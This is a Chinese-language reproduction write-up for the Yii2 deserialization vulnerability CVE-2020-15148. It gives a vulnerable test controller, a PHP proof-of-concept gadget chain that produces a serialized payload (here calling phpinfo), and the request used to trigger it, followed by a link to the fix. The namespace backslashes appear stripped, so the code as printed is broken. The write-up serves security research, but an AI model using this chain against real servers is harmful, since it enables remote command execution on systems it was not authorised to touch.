漏洞概述
Yii是一套基于组件、用于开发大型Web应用的高性能PHP框架。Yii2 2.0.38 之前的版本存在反序列化漏洞,程序在调用unserialize 时,攻击者可通过构造特定的恶意请求执行任意命令。
环境搭建
到github上下载yii2的2.0.37版本
https://github.com/yiisoft/yii2/releases/tag/2.0.37
然后修改/config/web.php文件17行cookieValidationKey,可以随便定义
进入目录并开启
php yii server
漏洞复现
这是一个反序列化利用链,所以还需要一个反序列化的入口点
在controllers目录下创建一个Controller:
namespace appcontrollers;
use Yii;
use yiiwebController;
use yiifiltersVervFilter;
use yiifiltersAccessControl;
use appmodelsLoginForm;
class TestController extends yiiwebController
{
public function actionSss($data){
return unserialize(base64_decode($data));
}
}
接着创建文件poc.php
namespace yiirest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'phpinfo';
$this->id = '1';
}
}
}
namespace Faker{
use yiirestCreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yiidb{
use FakerGenerator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yiidbBatchQueryResult));
}
执行文件获取poc
php poc.php
执行命令
http://localhost:8080/index.php?r=test/sss&data=[payload]
修复建议
Github修复地址:
https://github.com/yiisoft/yii2/security/advisories/GHSA-699q-wcff-g9mj
本文始发于微信公众号(锋刃科技):Yii2 反序列化漏洞(CVE-2020-15148)复现
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论